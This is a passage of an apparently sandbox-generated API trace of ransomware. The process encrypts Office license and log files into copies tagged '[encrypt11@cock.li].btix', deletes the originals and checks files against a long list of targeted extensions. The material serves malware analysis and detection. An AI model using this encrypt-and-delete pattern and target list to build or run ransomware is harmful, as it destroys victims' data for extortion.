lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.553] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x11e, lpOverlapped=0x0) returned 1 [0145.553] SetEndOfFile (hFile=0x40c) returned 1 [0145.553] CloseHandle (hObject=0x40c) returned 1 [0145.553] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.553] SetEndOfFile (hFile=0x418) returned 1 [0145.555] CloseHandle (hObject=0x418) returned 1 [0145.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0145.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0145.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0145.556] lstrlenW (lpString=".doc") returned 4 [0145.556] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.556] lstrlenW (lpString=".docx") returned 5 [0145.556] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.556] lstrlenW (lpString=".pdf") returned 4 [0145.556] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.556] lstrlenW (lpString=".xls") returned 4 [0145.556] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.557] lstrlenW (lpString=".xlsx") returned 5 [0145.557] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.557] lstrlenW (lpString=".ppt") returned 4 [0145.557] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0145.557] lstrlenW (lpString=".zip") returned 4 [0145.557] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.557] lstrlenW (lpString=".rar") returned 4 [0145.557] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.557] lstrlenW (lpString=".bz2") returned 4 [0145.557] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.557] lstrlenW (lpString=".7z") returned 3 [0145.557] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0145.557] lstrlenW (lpString=".dbf") returned 4 [0145.557] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0145.557] lstrlenW (lpString=".1cd") returned 4 [0145.557] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0145.557] lstrlenW (lpString=".jpg") returned 4 [0145.557] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.558] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10667) returned 1 [0145.558] CloseHandle (hObject=0x418) returned 1 [0145.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0145.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0145.558] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.558] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0145.559] GetLastError () returned 0x0 [0145.559] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0145.560] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0145.561] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.561] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x116, lpOverlapped=0x0) returned 1 [0145.561] SetEndOfFile (hFile=0x40c) returned 1 [0145.562] CloseHandle (hObject=0x40c) returned 1 [0145.562] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.562] SetEndOfFile (hFile=0x418) returned 1 [0145.564] CloseHandle (hObject=0x418) returned 1 [0145.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0145.565] lstrlenW (lpString=".doc") returned 4 [0145.565] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString=".docx") returned 5 [0145.565] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.565] lstrlenW (lpString=".pdf") returned 4 [0145.565] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString=".xls") returned 4 [0145.565] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString=".xlsx") returned 5 [0145.565] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.565] lstrlenW (lpString=".ppt") returned 4 [0145.565] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0145.565] lstrlenW (lpString=".zip") returned 4 [0145.565] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString=".rar") returned 4 [0145.565] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString=".bz2") returned 4 [0145.565] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString=".7z") returned 3 [0145.565] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0145.565] lstrlenW (lpString=".dbf") returned 4 [0145.565] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0145.565] lstrlenW (lpString=".1cd") returned 4 [0145.565] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0145.565] lstrlenW (lpString=".jpg") returned 4 [0145.566] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.566] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=22094) returned 1 [0145.566] CloseHandle (hObject=0x418) returned 1 [0145.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0145.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0145.567] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.567] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0146.009] GetLastError () returned 0x0 [0146.009] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x564e, lpOverlapped=0x0) returned 1 [0146.019] WriteFile (in: hFile=0x310, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x5650, lpOverlapped=0x0) returned 1 [0146.023] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0146.023] WriteFile (in: hFile=0x310, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x118, lpOverlapped=0x0) returned 1 [0146.023] SetEndOfFile (hFile=0x310) returned 1 [0146.023] CloseHandle (hObject=0x310) returned 1 [0146.023] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0146.023] SetEndOfFile (hFile=0x418) returned 1 [0146.026] CloseHandle (hObject=0x418) returned 1 [0146.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0146.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0146.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.026] lstrlenW (lpString=".doc") returned 4 [0146.026] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString=".docx") returned 5 [0146.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0146.027] lstrlenW (lpString=".pdf") returned 4 [0146.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString=".xls") returned 4 [0146.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString=".xlsx") returned 5 [0146.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0146.027] lstrlenW (lpString=".ppt") returned 4 [0146.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.027] lstrlenW (lpString=".zip") returned 4 [0146.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString=".rar") returned 4 [0146.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString=".bz2") returned 4 [0146.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString=".7z") returned 3 [0146.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0146.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.027] lstrlenW (lpString=".dbf") returned 4 [0146.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.027] lstrlenW (lpString=".1cd") returned 4 [0146.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.027] lstrlenW (lpString=".jpg") returned 4 [0146.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.027] lstrlenW (lpString=".doc") returned 4 [0146.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0146.027] lstrlenW (lpString=".docx") returned 5 [0146.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0146.027] lstrlenW (lpString=".pdf") returned 4 [0146.028] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString=".xls") returned 4 [0146.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString=".xlsx") returned 5 [0146.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0146.028] lstrlenW (lpString=".ppt") returned 4 [0146.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.028] lstrlenW (lpString=".zip") returned 4 [0146.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString=".rar") returned 4 [0146.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString=".bz2") returned 4 [0146.028] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString=".7z") returned 3 [0146.028] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.028] lstrlenW (lpString=".dbf") returned 4 [0146.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.028] lstrlenW (lpString=".1cd") returned 4 [0146.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0146.028] lstrlenW (lpString=".jpg") returned 4 [0146.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0146.028] lstrlenW (lpString=".id-") returned 4 [0146.028] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574f68 | out: hHeap=0x510000) returned 1 [0146.028] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd970 | out: hHeap=0x510000) returned 1 [0146.028] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3e45528 | out: hHeap=0x510000) returned 1 [0146.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43c0048 | out: hHeap=0x510000) returned 1 [0146.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45c2020 | out: hHeap=0x510000) returned 1 [0146.034] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5751d8 | out: hHeap=0x510000) returned 1 [0146.035] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b46b8 [0146.035] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b46b8, Size=0x20) returned 0x443de00 [0146.035] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4640 [0146.035] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4640, Size=0x20) returned 0x443de50 [0146.035] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.035] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.035] Wow64DisableWow64FsRedirection (in: OldValue=0x38cff50 | out: OldValue=0x38cff50*=0x1) returned 1 [0146.035] lstrlenW (lpString="kernel32.dll") returned 12 [0146.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de50 | out: hHeap=0x510000) returned 1 [0146.035] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 Thread: id = 50 os_tid = 0xe3c [0126.416] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43d0720 [0126.417] lstrlenW (lpString="C:") returned 2 [0126.417] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 0x52a380 [0126.417] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0126.417] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0126.417] lstrlenW (lpString="$GetCurrent") returned 11 [0126.417] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0126.417] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43e0728 [0126.418] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0126.418] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0x52a680 [0126.418] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.418] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.418] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0126.418] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0126.418] lstrlenW (lpString="Logs") returned 4 [0126.418] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0126.418] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f1738 [0126.419] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0126.419] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.419] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.419] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.420] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[encrypt11@cock.li].btix") returned 74 [0126.420] lstrlenW (lpString=".1cd") returned 4 [0126.420] lstrcmpiW (lpString1=".1cd", lpString2="btix") returned -1 [0126.420] lstrlenW (lpString=".3ds") returned 4 [0126.420] lstrcmpiW (lpString1=".3ds", lpString2="btix") returned -1 [0126.420] lstrlenW (lpString=".3fr") returned 4 [0126.420] lstrcmpiW (lpString1=".3fr", lpString2="btix") returned -1 [0126.420] lstrlenW (lpString=".3g2") returned 4 [0126.420] lstrcmpiW (lpString1=".3g2", lpString2="btix") returned -1 [0126.420] lstrlenW (lpString=".3gp") returned 4 [0126.420] lstrcmpiW (lpString1=".3gp", lpString2="btix") returned -1 [0126.420] lstrlenW (lpString=".7z") returned 3 [0126.420] lstrcmpiW (lpString1=".7z", lpString2="tix") returned -1 [0126.420] lstrlenW (lpString=".accda") returned 6 [0126.420] lstrcmpiW (lpString1=".accda", lpString2="].btix") returned -1 [0126.420] lstrlenW (lpString=".accdb") returned 6 [0126.420] lstrcmpiW (lpString1=".accdb", lpString2="].btix") returned -1 [0126.420] lstrlenW (lpString=".accdc") returned 6 [0126.420] lstrcmpiW (lpString1=".accdc", lpString2="].btix") returned -1 [0126.420] lstrlenW (lpString=".accde") returned 6 [0126.420] lstrcmpiW (lpString1=".accde", lpString2="].btix") returned -1 [0126.420] lstrlenW (lpString=".accdt") returned 6 [0126.420] lstrcmpiW (lpString1=".accdt", lpString2="].btix") returned -1 [0126.420] lstrlenW (lpString=".accdw") returned 6 [0126.420] lstrcmpiW (lpString1=".accdw", lpString2="].btix") returned -1 [0126.420] lstrlenW (lpString=".adb") returned 4 [0126.420] lstrcmpiW (lpString1=".adb", lpString2="btix") returned -1 [0126.420] lstrlenW (lpString=".adp") returned 4 [0126.421] lstrcmpiW (lpString1=".adp", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".ai") returned 3 [0126.421] lstrcmpiW (lpString1=".ai", lpString2="tix") returned -1 [0126.421] lstrlenW (lpString=".ai3") returned 4 [0126.421] lstrcmpiW (lpString1=".ai3", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".ai4") returned 4 [0126.421] lstrcmpiW (lpString1=".ai4", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".ai5") returned 4 [0126.421] lstrcmpiW (lpString1=".ai5", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".ai6") returned 4 [0126.421] lstrcmpiW (lpString1=".ai6", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".ai7") returned 4 [0126.421] lstrcmpiW (lpString1=".ai7", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".ai8") returned 4 [0126.421] lstrcmpiW (lpString1=".ai8", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".anim") returned 5 [0126.421] lstrcmpiW (lpString1=".anim", lpString2=".btix") returned -1 [0126.421] lstrlenW (lpString=".arw") returned 4 [0126.421] lstrcmpiW (lpString1=".arw", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".as") returned 3 [0126.421] lstrcmpiW (lpString1=".as", lpString2="tix") returned -1 [0126.421] lstrlenW (lpString=".asa") returned 4 [0126.421] lstrcmpiW (lpString1=".asa", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".asc") returned 4 [0126.421] lstrcmpiW (lpString1=".asc", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".ascx") returned 5 [0126.421] lstrcmpiW (lpString1=".ascx", lpString2=".btix") returned -1 [0126.421] lstrlenW (lpString=".asm") returned 4 [0126.421] lstrcmpiW (lpString1=".asm", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".asmx") returned 5 [0126.421] lstrcmpiW (lpString1=".asmx", lpString2=".btix") returned -1 [0126.421] lstrlenW (lpString=".asp") returned 4 [0126.421] lstrcmpiW (lpString1=".asp", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".aspx") returned 5 [0126.421] lstrcmpiW (lpString1=".aspx", lpString2=".btix") returned -1 [0126.421] lstrlenW (lpString=".asr") returned 4 [0126.421] lstrcmpiW (lpString1=".asr", lpString2="btix") returned -1 [0126.421] lstrlenW (lpString=".asx") returned 4 [0126.422] lstrcmpiW (lpString1=".asx", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".avi") returned 4 [0126.422] lstrcmpiW (lpString1=".avi", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".avs") returned 4 [0126.422] lstrcmpiW (lpString1=".avs", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".backup") returned 7 [0126.422] lstrcmpiW (lpString1=".backup", lpString2="i].btix") returned -1 [0126.422] lstrlenW (lpString=".bak") returned 4 [0126.422] lstrcmpiW (lpString1=".bak", 